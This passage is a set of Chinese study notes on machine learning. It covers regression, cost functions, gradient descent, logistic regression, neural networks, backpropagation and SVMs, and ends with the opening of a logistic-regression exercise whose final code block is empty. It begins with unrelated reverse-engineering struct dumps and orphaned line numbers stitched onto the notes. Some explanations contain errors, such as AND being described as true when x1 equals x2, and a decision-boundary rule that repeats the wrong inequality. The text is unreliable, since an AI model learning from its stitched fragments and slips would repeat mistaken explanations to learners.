00000000                                         ; add_item+35/r
00000008 ptr             dq ?                    ; XREF: add_item+39/r
00000010 input           ends

1
2
3
4
5
6
7

00000000 item            struc ; (sizeof=0x20, mappedto_5)
00000000 refcount        dd ?
00000004 null            dd ?
00000008 size            dq ?
00000010 next            dq ?                    ; offset
00000018 data            dq ?
00000020 item            ends

监督学习

监督学习是从“标记”的训练数据来推断一个功能的机器学习任务，训练数据包括一套训练示例

• 在监督学习中，每个实例都是由一个输入对象（通常为矢量）和一个期望的输出值（也称为监督信号）组成
• 监督学习算法是分析该训练数据，并产生一个推断的功能，其可以用于映射出新的实例
• 一个最佳的方案将允许该算法来正确地决定那些看不见的实例的类标签
• 这就要求学习算法是在一种“合理”的方式从一种从训练数据到看不见的情况下形成

监督学习可以分为两类：回归问题，分类问题

• 回归问题：通过给定一组数据，我们想要预测出连续的数值输出
• 分类问题：我们没法预测一个离散值输出（对或者错，“0”或者“1”，当然也可能是多个确定的选项），只能推测一种结果的可能性

无监督学习

在监督学习中，程序被明确告知了什么是“正确”，而在无监督学习中，训练数据没有任何的“标记”，而程序会尝试把这些训练数据分为：有着某些相同性质的簇（聚类算法）

• 无监督学习即没有标注的训练数据集，需要根据样本间的统计规律对样本集进行分析，常常被用于数据挖掘，用于在大量无标签数据中发现规律
• 而聚类是无监督学习的常见任务，就是将观察值聚成一个一个的组，每一个组都含有一个或者几个特征，‎聚类的目的在于‎‎把相似的东西聚在一起，而我们并不关心这一类是什么‎‎
• 因此，一个聚类算法通常只需要知道‎‎如何计算相似度‎‎就可以开始工作了
• ‎例如无监督学习应该能在不给任何额外提示的情况下，仅依据一定数量的“狗”的图片特征，将“狗”的图片从大量的各种各样的图片中将区分出来

线性回归-回归

线性回归分析（Linear Regression Analysis）是确定两种或两种以上 变量间相互依赖的定量关系 的一种 统计分析方法

例如：

• 身高：由父亲的身高、母亲的身高、家庭收入、所在地区等因素决定
• 房价：由地段、面积、周围配套、时间等因素决定

线性回归要做的是就是找到一个数学公式能相对较完美地把所有自变量组合（加减乘除）起来，得到的结果和目标越接近越好（也就是说，代价函数越小越好）

• 线性回归本质上就是把“散点图”拟合为一条直线，有许多种方法可以实现这个操作
• 其中最常见的算法就是梯度下降，梯度下降可以是代价函数到达最下值

多项式回归-回归

如果您的数据点显然不适合线性回归（通过所有数据点的直线），则多项式回归可能是理想选择

多项式回归与线性回归一样，使用变量 x 和 y 之间的关系来找到通过数据点画线的最佳方法

案例：

我们可以从另外一个角度来理解这个式子，如果把 “x的平方” 理解成一个特征，把 “x” 理解成另外一个特征，这样这式子依然是线性回归的式子，但从 “x” 的角度来看是一个非线性的方程

这样的方式就叫多项式回归，相当于我们为样本多添了特征，这些特征是原来样本的多项式项

均方误差-代价函数

首先我们需要知道：代价是什么？

• 可以简单的把“代价”理解为“误差”
• 对于机器学习的目标，无非也就是最小化误差，也就是让代价最小化

假设有训练样本 (x, y)，模型为 h，参数为 θ：

概况来讲，任何能够衡量模型预测出来的值 h(θ) 与真实值 y 之间的差异的函数都可以叫做代价函数C(θ)，如果有多个样本，则可以将所有代价函数的取值求均值，记做J(θ)，因此可以得出以下关于代价函数的性质：

• 对于每种算法来说，代价函数不是唯一的
• 代价函数是参数 θ 的函数
• 总之，代价函数 J(θ) 可以用来评价模型的好坏，代价函数越小说明模型和参数越符合训练样本 (x, y)
• J(θ) 是一个标量

代价函数（cost function）是用来衡量模型好坏的函数，我们的目标当然是得到最好的模型（也就是最符合训练样本的模型），因此训练参数的过程就是不断改变 θ，从而得到更小的 J(θ) 的过程，理想情况下，当我们取到代价函数 J 的最小值时，就得到了最优的参数 θ

均方误差（Mean squared error）是在线性回归中最常用的代价函数：

• m：训练样本的个数
• hθ(x)：用参数θ和x预测出来的y值
• y：原训练样本中的y值，也就是标准答案
• 上角标(i)：第i个样本

适用的线性方程为：（其实就是一次函数）

注意：在实际的操作中，代价函数处理返回 cost(代价) 以外，还需要返回 grad(梯度)，也就是当前代价的偏导数（可以去看看后续的实验操作中的代价函数，它们都是返回这两个值的）

• 相应地，线性回归的代价对 θj 的偏导数定义为：（无正则化）

梯度下降-拟合函数

梯度下降用于将函数 J（代价函数）最小化，其核心思想是通过求梯度的方法来找到代价函数的最小值

• 假设我们有一个需要最小化的函数 J(θ) ，我们需要做的就是从“0”开始一点一点改变 θ（如果有 θ1，θ2 …. 也要一起修改），直到我们找到 J(θ) 的最小值
• 当然不是随意修改 θ，每次都要在原来的基础上选择下降最快的方式

第一次操作：

第二次操作：

可以发现：两次操作都是在当前的基础上获取最优解，但是结果却截然不同，这就是梯度下降的特点之一，下面看看梯度下降具体的数学原理：（为了方便理解，这里只设置了两个参数θ）

反复执行这个过程，直至收敛

• “:=” 用来表示赋值，相当于C语言中的“=”
• “α”（学习率）用于控制每次梯度下降时需要迈出的步幅
• “θ” 用于表示参数（案例中就是代表了x，y），每次需要同时同步更新各个“θ”

正确的更新方式：

错误的更新方式：

正规方程-拟合函数

为了获取代价函数的最小值，我们采用了梯度下降这种迭代的方式，分多次进行求解，而正规方程只需要运算一次就可以获取最小值

如果我们要获取一个函数最小值，最常见的办法就是对它求导，如果函数的最高次很高的话，方程就会很复杂，使用算法难以实现，而正规方程利用矩阵完成了这个过程

PS：本人太菜，理解不了正规方程

特征规范化-优化

不同特征具有不同量级时会导致：

• 数量级的差异将导致量级较大的特征占据主导地位
• 数量级的差异将导致迭代收敛速度减慢（收敛过程会来回偏转）
• 依赖于样本距离的算法对于数据的数量级非常敏感

所以，当特征相差几个数量级时，首先执行特征缩放可以使梯度下降更快地收敛，另外，特征的值过大或过小也会导致收敛速度下降

特征缩放：我们可以对特征进行“乘除”操作，来使其到达合适的范围

• 从数据集中减去每个特征的平均值
• 减去平均值后，再将特征值按各自的“标准偏差”进行缩放（除）

逻辑回归-分类

Logistic Regression 虽然被称为回归，但其实际上是分类模型，并常用于二分类，用于解决分类问题

下面是一些分类问题的例子：

• 邮件垃圾分类
• 交易是否有欺诈

通常，这些数据都只有两种或几种可能（有限次数）：

用线性回归来不能很好的拟合这些数据，因此逻辑回归诞生了

逻辑回归的本质是：假设数据服从这个分布，然后使用极大似然估计做参数的估计

假设陈述-分类

首先，我们需要我们的分类器输出值在 [ 0 , 1 ] 之间，因此，我们提出一个“假设”来满足该性质，假设的形式为：

我们定义函数 g 为：

把它们组合一下，可以得到：

这就是 Sigmoid 函数（另外，sigmoid 函数和 logistic 函数是同一个意思，完全可以相互替换），它的图形大概是这个样子：

当假设输出某个数字时，我们会把这个数字当做：对于输入值“x”，“y=1”的概率估计

例如：假设一个学校需要根据学生的成绩来录取学生，而我们拥有学生成绩这一数据集，于是我们把学生成绩作为“x”输入 Sigmoid 函数 h(x)，就可以得到该学生录取的概率

但是，我们仍然需要利用各种拟合函数使 θ 最小化，这样 Sigmoid 函数才有意义

决策边界-分类

理解决策边界（Decision Boundary），可以帮助我们了解 Sigmoid 函数到底在计算什么

Sigmoid 函数的图形：

我们发现：

• 当 z < 0 时，h(x) < 0.5（“z”就是函数 g(z) 的参数）
• 当 z > 0 时，h(x) > 0.5（“z”就是函数 g(z) 的参数）

所以点 (0 , 0.5) 就是“决策边界”的判定点：

• 如果 “h(x) < 0.5” ，z < 0，我们判断 “y=0”
• 如果 “h(x) > 0.5” ，z > 0，我们判断 “y=1”
• 如果 “h(x) = 0.5” ，预测为正类（我们不用在意）

于是判断样本是否为某个“可能”的条件，从 “h(x) vs 0.5” 转化为了 “z vs 0”，这里的 z 就是我们需要拟合的模板函数（要根据数据集散点图判断该函数的形状，然后添加对应的多项式），当拟合完毕后，z 就是“决策边界”

案例一：

假设我们有如下一组数据集：（多特征）

并且我们已经拟合好了数据（利用“拟合函数”使“代价函数”最小），得到一组固定的 θ [-3,1,1]

用直线 -3+x1+x2 = 0 作为“决策边界”：

• 如果 “ -3+x1+x2 > 0 ” ，我们判断 “y=1”
• 如果 “ -3+x1+x2 < 0 ” ，我们判断 “y=0”
• 如果 “ -3+x1+x2 < 0 ” ，预测为正类

案例二：

假设我们有如下一组数据集：（增添两个格外特征）

并且我们已经拟合好了数据，得到一组固定的 θ [-1,0,0,1,1]

用圆 -1+(x1)^2+(x2)^2 = 0 作为“决策边界”：

• -1+(x1)^2+(x2)^2 > 0，我们判断 “y=1”
• -1+(x1)^2+(x2)^2 < 0，我们判断 “y=0”
• -1+(x1)^2+(x2)^2 = 0，预测为正类

通过在特征中增加这些复杂的多项式，我们可以得到更复杂的决策边界

注意：决策边界不是训练集的属性，只要给定了 θ ，决策边界就确定了，而不是用训练集来定义决策边界

多元分类-分类

在实际问题中，我们可能会遇到有“多种可能”的特征

例如：

• 邮件分类：家人，同学，诈骗……
• 考试等级：A，B，C，D……

接下来我们就来讨论遇到多元分类时的处理办法，假设有一个三元分类：

我们可以把这个三元分类分为三个二元分类：

可以把另外两个分类定义为新的“伪训练集”，然后按照二元分类的方式进行拟合

最后，我们有三个分类器，每个分类器都针对其中一种情况进行训练，得到对应分类“P==1”成立的概率，分类器通式如下：

意义为：当给定了 “x” 和 “θ” 时，“y = i” 的概率，虽然这三者的概率加起来可能不为“1”，但是我们并不关心，我们只需要选择概率最高的那个就可以了

交叉熵-代价函数

先看看回归问题常用的代价函数：均方误差（做了一些变化）

我们把关键的部分提取出来：

问题的关键就是 h(x) 函数（模型），线性回归和逻辑回归的 h(x) 函数是不同的：

线性回归：

• 公式

• 图像

逻辑回归：

• 公式

• 图像

可以发现：h(x) 函数的改变导致“代价函数-均方误差”变为了非凸函数，使梯度下降算法不容易找到代价函数的最小值（可能找到一个极小值点就停了），这样会导致梯度下降的拟合性很差

为了解决这个问题，逻辑回归会使用适用于它自己的代价函数-交叉熵

fminunc-拟合函数

fminunc 采用拟牛顿法 (QN)，是一种使用导数的算法，优化工具箱提供 fmincon 函数用于对有约束优化问题进行求解

Octave/MATLAB 的 fminunc 是一个优化解算器，可以找到无约束函数的最小值，对于逻辑回归，需要优化成本函数 J(θ)，具体来说，您将使用 fminunc 找到最佳参数 θ 对于逻辑回归成本函数 J(θ)

在 Python 中也有该函数：

1
2
3

import scipy.optimize # SciPy的optimize模块提供了常用的最优化算法函数实现

theta, cost, *unused = opt.fmin_bfgs(f=cost_func, fprime=grad_func, x0=init_theta, maxiter=400, full_output=True, disp=False)

过拟合问题-优化

我们还是以“预测房子的价格”为案例：

• 房子的价格和房子的大小有关

现在根据拟合程度的不同，有三种情况：A（左），B（中），C（右）

• 随着房子的面积增大，房子的价格趋于平缓，所以 A 不能很好的拟合该模型（称为欠拟合）
• 在 B 中加入了一个2次多项式，使拟合效果很好
• 而 C 中加入了一个3次多项式，一个4次多项式，在现有的数据集中也许可以很好的拟合，但是总体来说不符合实际，我们也没有更多的数据来约束它（称为过拟合）

这种过度拟合的问题会在参数θ变多的情况下发生：

• 因为能更好的拟合现有的数据，所以随着参数θ增多， J(θ)（代价函数）会不断的接近“0”，但是拟合曲线也会越来越扭曲
• 拟合曲线会千方百计的拟合数据集，如果没有足够的数据来约束它，它就可能无法泛化到新的样本中，导致无法预测数据

下面这个逻辑回归的例子可能会明显些：

解决办法：

• 数据可视化：绘制决策边界的图像，初步判断参数θ的数目合不合适
• 人工调查选择：在数据比较复杂的模型中，绘图是比较困难的而且往往解决不了问题（有时即使有图形，也不好判断是否过拟合），所以需要人工排查哪些变量比较重要，那些可以去除，尽可能减少变量
• 模型选择算法：可以自动选择哪些特征变量可以保留，哪些可以去除（但是这种算法不可控，可能会因为舍弃关键变量，而导致拟合程度下降）
• 正则化：我们将保留所有特征变量，但是减少量级，或者参数θ的大小

正则化-优化-代价函数

在之前的案例中：增加参数θ的数目会导致 过拟合，使泛化效果不好

如果我们在函数中加入“惩罚项”，使“θ3”，“θ4”变得很小，这就可以平衡过拟合的影响

正则化-均方误差

其实就是在标准均方误差上面加了一项（惩罚项，正则化项），使其缩小所有的参数（因为我们不知道要优化哪些参数），这里的 λ 就是正则化参数，用于控制各个参数之间的平衡

PS：之后在重选择中 ，会有很多方法来自动选择 λ

正则化-交叉熵

正则化-优化-拟合函数

之前我们使用了梯度下降的方法来拟合模型，如果对代价函数进行了正则化，那么 梯度下降 也要进行正则化才行

适用于均方误差-梯度下降

梯度下降通用公式：

把 J(θ) 替换为均方误差：

进行正则化：

适用于交叉熵-梯度下降

交叉熵通用公式：

进行正则化：

同时，求梯度的公式也需要正则化（通常的代价函数都会返回：cost(代价)，grad(梯度)）

求梯度通用公式：

进行正则化：（注意：正则化是从“1”开始，而不是“0”）

向量化-优化-代价函数

向量化是非常基础的去除代码中 for 循环的艺术

• 当在深度学习安全领域、深度学习实践中应用深度学习算法时，会发现在代码中显式地使用 for 循环使算法很低效
• 所以算法能应用且没有显式的 for 循环是很重要的，并且会帮助你适用于更大的数据集

在深度学习领域这里有一项叫做向量化的技术，是一个关键的技巧，它可以允许你的代码摆脱这些显式的 for 循环，举个栗子说明什么是向量化：

在逻辑回归中，需要去计算 z = (w^T)x + b（其中 w，x 都是列向量），如果有很多的特征，那么就会有一个非常大的向量，那么如果想使用非向量化方法去计算 (w^T)x ，就需要如下的方法：

1
2
3
4

z = 0
for i in range(n_x):
    z += w[i] * x[i]
z += b

可以发现非向量化的实现有 for 循环，作对对比，向量化的实现将会直接计算：

1

z = np.dot(w, x) + b

神经网络

神经网络产生的最初目的是为了制造出模拟人脑的机器，下面是我们神经元的结构图：

神经元通过许多树突来接收电信号，在细胞体中处理过后，又通过轴突输出电信号，我们可以用以下这个模型来模拟这个过程：

x1，x2，x3 通过“树突”传输到运算函数 hθ(x)，然后通过“轴突”输出数据

这里的 hθ(x) 就可以是逻辑回归中的 Sigmoid 函数（假设陈述），而 θ 就是模型的参数向量（在神经网络中也被称为“权重”）

而这个模型就被称为：带有 Sigmoid 激活函数的人工神经元

神经网络其实就是一组神经元连接在一起的集合，第一层被称为“输入层”，第二层被称为“隐藏层”，最后一层被称为“输出层”（其实除了第一层和最后一层，其他层都是“隐藏层”）

接下来来分析一下神经网络的计算流程：

• 假设我们输入 x1，x2，x3 到“隐藏层”，“隐藏层”根据自己的算法输出 a1，a2，a3，然后这3个数据作为最终“输出层” hθ(x) 的参数，计算出最终的结果
• 每个样本都会根据当前 θ 拟合出的函数模型进行计算，输出一个预测的结果，然后把预测结果同真实数据进行对比，通过一些算法来调整 θ，使其结果更加趋近于真实值
• 当所有数据都处理完毕以后，每个节点都大概拥有了一个相对稳定的 θ 值，然后就可以预测数据了

接下来我们把视角聚集到某个节点：

• 我们把上述模型中的“输入层”屏蔽，后续的“隐藏层”和“输出层”其实构成了一个“逻辑回归模型”（只不过这里不直接传入数据集，而是传入“上一层”的运算结果）
• 对这一个节点进行拟合，就可以得到一组确定的参数 θ

• 而把整个神经网络都拟合完毕以后，每个节点都可能有一组不同的参数 θ（每个节点都输出它们认为的“最佳值”，到最后的“输出层”就可以输出该样本最可能的类）

神经网络的连接方式也被称为神经网络架构，通过改变架构，就可以模拟出更加复杂的特征（相比于逻辑回归中，通过增加参数 θ 的数目来模拟复杂的特征，这种方式更为高效）

案例一：使用神经网络来模拟 AND（OR同理）

假设我们有两个 x1，x2 两个输入特征，它们只能取“0”或者“1”

现在 y = x1 AND x2（和“&&”一样，当“x1==x2”时，“y=1”，否则“y=0”），它的神经网络模型如下：

• PS：这个“+1”被称为“+1单元”，是我们引入的值

经过拟合之后的权重结果为：θ [-30,20,20]，也就意味着该模型为：

解释一下该模型：

• g(x) 就是 Sigmoid 函数

• x1 和 x2 就只有两种可能：“0”，“1”

• 当 x1 == 0 && x2 == 0 时，g(-30) ≈ 0
• 当 x1 == 0 && x2 == 1 时，g(-10) ≈ 0
• 当 x1 == 1 && x2 == 0 时，g(-10) ≈ 0
• 当 x1 == 1 && x2 == 1 时，g(10) ≈ 1

和逻辑运算符 AND 的逻辑基本相同，成功模拟出 AND（注意：这个权重 θ 是拟合出来的）

案例二：使用神经网络来模拟 XNOR

XNOR为“同或”，和“异或相反”：若相同则输出为“1”，不同则输出为“0”，它的图像如下：

• 这是明显的非线性结构，使用单一的逻辑回归是解决不了问题的，不过使用神经网络就可以通过结点之间的组合来解决问题
• 学习这个模型，其实是想体验一下各个神经结点的组合搭配过程

“同或”其实就是以上这3个模型拼接出来的：

• 红色的部分（-30,20,20）是 AND
• 蓝色的部分（10,-20,-20）是 AND-NOT
• 它们组合出来的“隐藏层”可以放入下表的 a1，a2：

• 绿色的部分（-10,20,20）是 OR，发现“隐藏层”进行“或”操作后，刚好就可以得到 XNOR 的结果

这个案例证明了神经网络的功能强大：通过改变架构，就可以模拟出更加复杂的特征

交叉熵(神经网络)-代价函数

先看看逻辑回归中，正则化的交叉熵公式：

对于神经网络，我们将不再只有一个逻辑回归输出单元，而是有 K 个

那么它的公式如下：（又长又复杂）

对于一个确定的（xi，yi），那么它的代价函数可以看做是：

为了方便理解，也可以把代价函数看做是如下式子：

类似于均方误差，代表了神经网络预测样本值的精确程度

反向传播-优化

• 梯度下降：是寻找代价函数最小值的一种方法
• 交叉熵(神经网络)：神经网络的代价函数，需要提供“梯度”
• 反向传播：是求解梯度的一种方法

我们先分析一下正向传播的过程

为了拟合神经网络，我们需要使用反向传播算法，所以我们先分析一下程序正向传播的过程

• a1 就是第一层的激活值，因其在输入层，我们假设它为 x
• 然后计算模型函数 z(x) 的值，把计算结果放入 Sigmoid 激活函数，计算出另一个激活值 a2
• 接着进行两次前向传播，分别计算出 a3，a4
• 最后的 a4 就是假设函数 h(x) 的输出

案例一：（直观的展示了某个神经结点的运算过程）

• 注意紫色标注出来的 z1（模型函数）：

对于正向传播而言，我们采用梯度下降来拟合函数，但是在神经网络中，参数的数量是一个可怕的数字，动辄上万，十几万，并且，其取值有时是十分灵活的，甚至精确到小数点后若干位，若使用穷举法，将会造成一个几乎不可能实现的计算量

解决的办法就是：反向传播算法

采用反向传播算法来计算各个神经网络节点的梯度，并把它提供给代价函数（通常是交叉熵）

接下来就来分析反向传播算法

从直观上来说，反向传播算法就是对每一个结点进行一次这样的运算：

• δ( l , j ) 代表了第 l 层的第 j 结点的误差

案例：对如下这个图像进行反向传播算法

计算公式为：

• 对于最后一层（输出层），δ4 就是 a4（输出层预测的结果）和 y（真实的结果）之间的差值
• 而对于中间的隐藏层，因为不清楚“预测结果”和“真实结果”的具体值，所以就只能通过以上的公式进行模拟计算
• 值得注意的是：
  • “ .* ”对应了“点乘”，其结果会是一个标量
  • 最后的结果运算到 δ2 就可以了，因为 δ1 就是真实的数据，没有误差

我们可以简单把 δ( l , j ) 理解为第 l 层的第 j 结点的误差，但它有更实际的意义：（需要高数基础，给跪了）

• 在神经网络内部，只要稍微改动一下 z(l)，就会影响到 cost（某个结点的代价），从而影响整个代价函数的值
• 所以 δ( l , j ) 其实是用于衡量：为了影响这些中间值（中间层的运算结果），将要改变多少权重（改变权重的程度）

案例二：

假设我们已经计算出了 δ(3).1，δ(3).2，接下来我们要计算 δ(2).2

这个过程其实就是正向传播反了过来：

• 列出节点 z(2).2 输出的两个权重：θ(2).12 和 θ(2).22
• 列出节点 z(3).1 和 z(3).2 的δ值：δ(3).1 和 δ(3).2
• 通过以下公式进行计算：

梯度检测-优化

神经网络有一个不好的性质，那就是它容易产生BUG

当它也梯度下降或者其他算法一起工作时，也许它看起来确实能正常运行，但是反向传播的过程可能会因为一些BUG导致效率下降，因而使最后的结果和没有BUG时差出几个量级，更致命的是，我们可能根本就不知道发生了BUG

这个问题的解决办法就是梯度检测，原理如下：

• 梯度检测会估计梯度（导数）值，然后和你程序计算出来的梯度的值进行对比，以判断程序算出的梯度值是否正确

• 上图中，我们关注θ0点的函数的导数，即θ0点切线（图中蓝线）的斜率，现在我们在“θ0−ε”和“θ0+ε”两点连一条线（图中红线），我们发现红线的斜率和蓝线斜率很相似
• 红线的斜率可以用以下式子表示：

• 实际上，以上的式子很好地表示了θ0点导数的近似值
• 在实际的应用中，θ往往是一个向量，梯度下降算法要求我们对向量中的每一个分量进行偏导数的计算，对于偏导数，我们同样可以用以下式子进行近似计算：

• 梯度检测方法的开销是非常大的，比反向传播算法的开销都大，所以一旦用梯度检测方法确认了梯度下降算法算出的梯度（或导数）值是正确的，那么就及时关闭它
• 一般来说ε的值选“10的-4次方”，注意并不是越小越好

随机初始化-优化

对于一个高级算法，需要对它的 θ 集合进行初始化，通常的想法就是把它们初始化为“0”

这个在逻辑回归中是没有问题的，但是在训练神经网络的时候，因为权重都是“0”，导致所有节点的激活值都是一样的，最后使每次更新出来的 θ 都一样

• 如果把某一层的 θ 都初始化为“0”，那么在梯度下降更新 θ 时，有如下的等式成立：

• 例如：第一条蓝线的权重会更新为“学习率”乘左边的式子，而第二条蓝线的权重会更新为“学习率”乘右边的式子，因为“θ1”和“θ2”都初始化为“0”，所以这个等式是恒成立的
• 接下来的两条红线也会相等，同样，两条绿线也会相等

所以我们需要对 θ 进行随机初始化：

• 对于每一个 θ，我们需要将其初始化为一个范围在 [-ε,ε] 之间的随机值
• ε 是一个很小的值，通常为“10的-4次方”

偏差方差-误差

当一个算法拟合效果不佳时，只有两种情况：偏差较大，方差较大（也就是欠拟合，过拟合）

• Error，误差：模型的计算值和真实数据之间的差值
• Irreducible Error，不可避免的误差：刻画了当前任务任何算法所能达到的期望泛化误差的下限，即刻画了问题本身的难度
• Bias，偏差：刻画了算法的拟合能力（Bias 高表示预测函数与真实结果相差很大，拟合程度太低）
• Variance，方差：代表 “同样大小的不同数据集训练出的模型” 与 “这些模型的期望输出值” 之间的差异（Var高表示模型很不稳定，泛化效果差）

交叉验证-误差

之前我们已经介绍了误差的产生和原理，接下来就来看看误差的检查方法：交叉验证

• 基本思想是将数据分为两部分，一部分数据用来模型的训练，称为训练集
• 另外一部分用于测试模型的误差，称为验证集

还是那个熟悉的例子：（这里就不赘述了）

首先需要补充几个概念：

• 训练集：数据集中，用于训练模型的部分
• 验证集：数据集中，用于调整模型的超参数和用于对模型的能力进行初步评估的部分
• 测试集：数据集中，用来评估模最终模型泛化能力的部分

下面一张图片将会展示“偏差”，“方差”的区别：（以上述案例为例）

• J(θ)train 代表了训练集的误差：我们会很明显的发现，随着特征值的增加，函数的误差明显下降
• J(θ)cv 代表了测试集的误差：和训练集的误差曲线不同，测试集的误差曲线反应了该模型的真实拟合水平

从 J(θ)cv 中我们可以发现两个极点：

• 左极点代表了：偏差较大，拟合程度不够（欠拟合）
• 右极点代表了：方差较大，泛化效果不足（过拟合）

学习曲线-误差

如果你想检测你的模型是否可以正常运行，那么学习曲线就是一种很好的工具

学习曲线的基本原理：人为减少训练集的数量，观察模型的误差曲线

一，通常来说，一个良好的模型应该具有以下的性质：

• 随着训练集数目m的增大，训练集的误差增大，测试集的误差减小

二，对于高 Bias（偏差）的模型：

• 随着训练集数目m的增大，训练集和测试集的误差都逐渐趋于平缓，也就意味着，不管再投入多少数据，测试集的误差都不会有明显的下降了

三，对于高 Variance（方差）的模型：

• 不管训练集数目m再怎么增大，训练集和测试集的误差始终都有一大截“鸿沟”，不过在高方差的模型中，投入更多数据还是对训练有帮助的

支持向量机SVM

与逻辑回归和神经网络相比，支持向量机（support vector machines，SVM）能提供一种更为清晰和强大的方式，来运算 复杂的非线性方程

我们先从逻辑回归说起：

• 当真实数据 y=1 时，我们想要 hθ(x) ≈ 1，所以 z > 0
• 当真实数据 y=0 时，我们想要 hθ(x) ≈ 0，所以 z < 0

逻辑回归的代价函数为：交叉熵

把单独的 Cost 函数提取出来：

把 hθ 替换为 Sigmoid 函数：

针对这个函数，SVM 其实就是做了一件如下图所示的事情：

• y = 1 时，函数的图像：取点 (1,0) 然后作一条和逻辑回归曲线相似的直线，名为 Cost1(z)

  

• y = 0 时，函数的图像：取点 (-1,0) 然后作一条和逻辑回归曲线相似的直线，名为 Cost0(z)

SVM 就是把两条与逻辑回归曲线相似的直线，当做了代价函数，这样虽然牺牲了一点准确度，但是大大降低了运算的难度

对此，我们只需要把交叉熵简单修改一下，就可以得到 SVM 的代价函数

• 交叉熵：

• SVM 的代价函数：（注意这里去掉了“m”，而“C”是一个常数）

• 当真实数据 y=1 时，我们想要 hθ(x) = 1，所以 z > 1（而不仅仅是 z > 0）
• 当真实数据 y=0 时，我们想要 hθ(x) = 0，所以 z < -1（而不仅仅是 z < 0）

和逻辑回归不同，SVM 对于分类的判断不是“连续”的，而是有一个“间隔”，这就相当于在SVM中构建了一个安全因子（安全距离）

案例一：假设有一个 y=1 的训练样本，常量 C 很大

• 因为 y=1 ，所以我们只用看 Cost1
• 算法的目的是：预测正确 => hθ(x)≈1 => J(θ)尽可能小 => θ尽可能小
• 这样，公式就可以简化为：

• 最小化代价函数，其实就是使 θ 的平方和最小
• PS：这里的 θ 其实是向量，具体的数学原理和向量内积有关

案例二：为数据集画决策边界

• 紫线，绿线，都是不合理的决策边界
• 而 SVM 会选择黑线，因为黑线距离样本的最小距离更大一些
• 看看两条蓝线的距离，这个距离就叫做支持向量机的间距

因为 SVM 每次都会尽量用更大的间距去分离，所以它也被称为大间距分类器

案例三：为数据集画决策边界

• 对于这个样本，SVM 有两种画法：黑线和紫线
• 具体采用谁为决策边界是常数C决定的：
  • C 比较小：采用黑线
  • C 比较大：采用紫线
• 所以我们可以通过调节C，来改变 SVM 的决策方式

高斯核函数

核函数也被称为相似度函数，用于模拟 非线性 决策边界的特征

接下来就通过一个案例来理解核函数的使用场景和作用：

假设有一块非线性的区域，我们想拟合一个决策边界来区分正负实例，通常有两种办法：

• 第一种方法：通过构建高次项来拟合更复杂的决策边界
• 第二种方法：通过高斯核函数来定义这些特征值

第一种方法会面临“过拟合”，“欠拟合”等一系列问题，所以第二种方法诞生了，以下图为例：

• 我们先手动取“3”个点：L1，L2，L3，把这些点成为“标记”
• 然后用高斯核函数来定义特征：

• PS：||X-Y|| 就是向量作差之后各分量的平方和的开根号

现在解释一下高斯核函数：

• 但点 (x1，x2) 靠近 L(i) 时，x ≈ L(i) ，f(i) ≈ exp(0) ≈ 1
• 但点 (x1，x2) 远离 L(i) 时，x !≈ L(i) ，f(i) ≈ exp(∞) ≈ 0

正样本的附近大概率也是正样本，依照这个规律，相似度函数会根据目标和“标记”之间的距离，来判断该样本是不是正样本，现在再回看一下决策边界的基本模型：

把每一个相似度函数的结果进行整合（“标记”越多，最终结果的判断也越精确），作为特征用于 θ 的拟合，然后就可以用 SVM 对模型进行训练了，那么接下来的问题就是：如何选取 L1，L2，L3…

• 而我们的解决办法也是简单暴力：直接把样本数据当做“标记”
• 对于每一个样本 (x,y,z…) 都可以被放入相似度函数中，生成 n 个 f (x,y,z…)

高斯核函数的完整公式为：

在描绘 非线性决策边界 时，单纯的 SVM 算法起不到良好的效果，而如果用高斯核函数来定义特征的话，效果会好很多：

• 只使用 SVM 算法：

• 同时使用 SVM 算法和高斯核函数：

实验介绍

在本练习中，您将实现逻辑回归，并将其应用于两个不同的数据集

实验文件：

• ex2.m：Octave/MATLAB脚本，帮助您完成练习
• ex2_reg.m：m-Octave/MATLAB脚本，用于练习的后续部分
• ex2data1.txt：txt-练习前半部分的训练集
• ex2data2.txt：txt-练习后半部分的训练集
• submit.m：将您的解决方案发送到我们的服务器
• mapFeature.m：生成多项式特征的m函数
• plotDecisionBoundary.m：绘制分类器决策界的函数
• [?] plotData.m：绘制二维分类数据的函数
• [?] sigmoid.m：Sigmoid函数（平滑的阶梯函数）
• [?] costFunction.m：逻辑代价成本函数
• [?] predict.m：逻辑回归预测函数
• [?] costFunctionReg.m：正则化逻辑回归代价函数

Logistic Regression（逻辑回归）

在这部分练习中，你将建立一个逻辑回归模型来预测学生是否被大学录取：

• 假设你是一所大学的系主任，你想根据两次考试的结果来确定每个申请人的入学机会，你有以前申请者的历史数据，可以用作逻辑回归的训练集
• 对于每个培训示例，您都有申请人的两次考试成绩和录取决定
• 你的任务是建立一个分类模型，根据这两次考试的分数来估计申请人的入学概率

这是一个典型的监督分类问题，学生只有录取和不录取两种可能，而我们需要评估这两种可能的概率

Visualizing the data A（可视化数据）

在开始实施任何学习算法之前，如果可能，最好将数据可视化，将加载数据，并通过调用函数 plotData 将其显示在二维绘图上

先看看 plotData 函数：

1
2
3
4
5
6
7
8
9

import matplotlib.pyplot as plt

def plot_data(X,Y):
    # 用两种不同的颜色，在同一张图像上，绘制两个类别的数据散点图
	plt.figure();
	pos = Y == 1 # 如果"Y==1"成立,pos为True,否则为False
	neg = Y == 0 # 如果"Y==0"成立,neg为True,否则为False
	plt.scatter(X[neg,0],X[neg,1],c='black',marker='o',s=20) # 不合格为"black"
	plt.scatter(X[pos,0],X[pos,1],c='red',marker='o',s=20) # 合格为"red"

• scatter：设置图表上的断点
• 注意：只有对应的 “neg” “pos” 为 True 时，才会被导入 scatter

具体实现：

1
2
3
4
5
6
7
8
9
10
11
12
13

import matplotlib.pyplot as plt # 与图像操作有关的库(提供了和MATLAB类似的绘图API)
import numpy as np # 支持大量的维度数组与矩阵运算,此外也针对数组运算提供大量的数学函数库

# ====== 1.读取数据并绘制散点图 ======
dataset = np.loadtxt('data\ex2data1.txt',delimiter =',')
X = dataset[:,0:2] # 第一/二列: 第一/二次考试的成绩
Y = dataset[:,2] # 第三列: 是否合格('1'表示合格,'0'表示不合格)

plot_data(X,Y) # 图像处理函数(主要是散点的处理)
plt.legend(['Admitted', 'Not admitted'])
plt.xlabel('Exam 1 score')
plt.ylabel('Exam 2 score')
plt.show()

通过观察图像：决策边界（Decision Boundary）就是一条直线（不需要在特征中添加格外的多项式）

Cost function and gradient A（代价函数与梯度）

现在，您将实现逻辑回归的代价函数和梯度下降，在 costFunction 中完成代码，返回代价和梯度

逻辑回归的代价函数为交叉熵，公式如下：

costFunction 函数的实现：（这里已经是带有正则的形式了，但只要 lmd 为“0”就没有影响）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

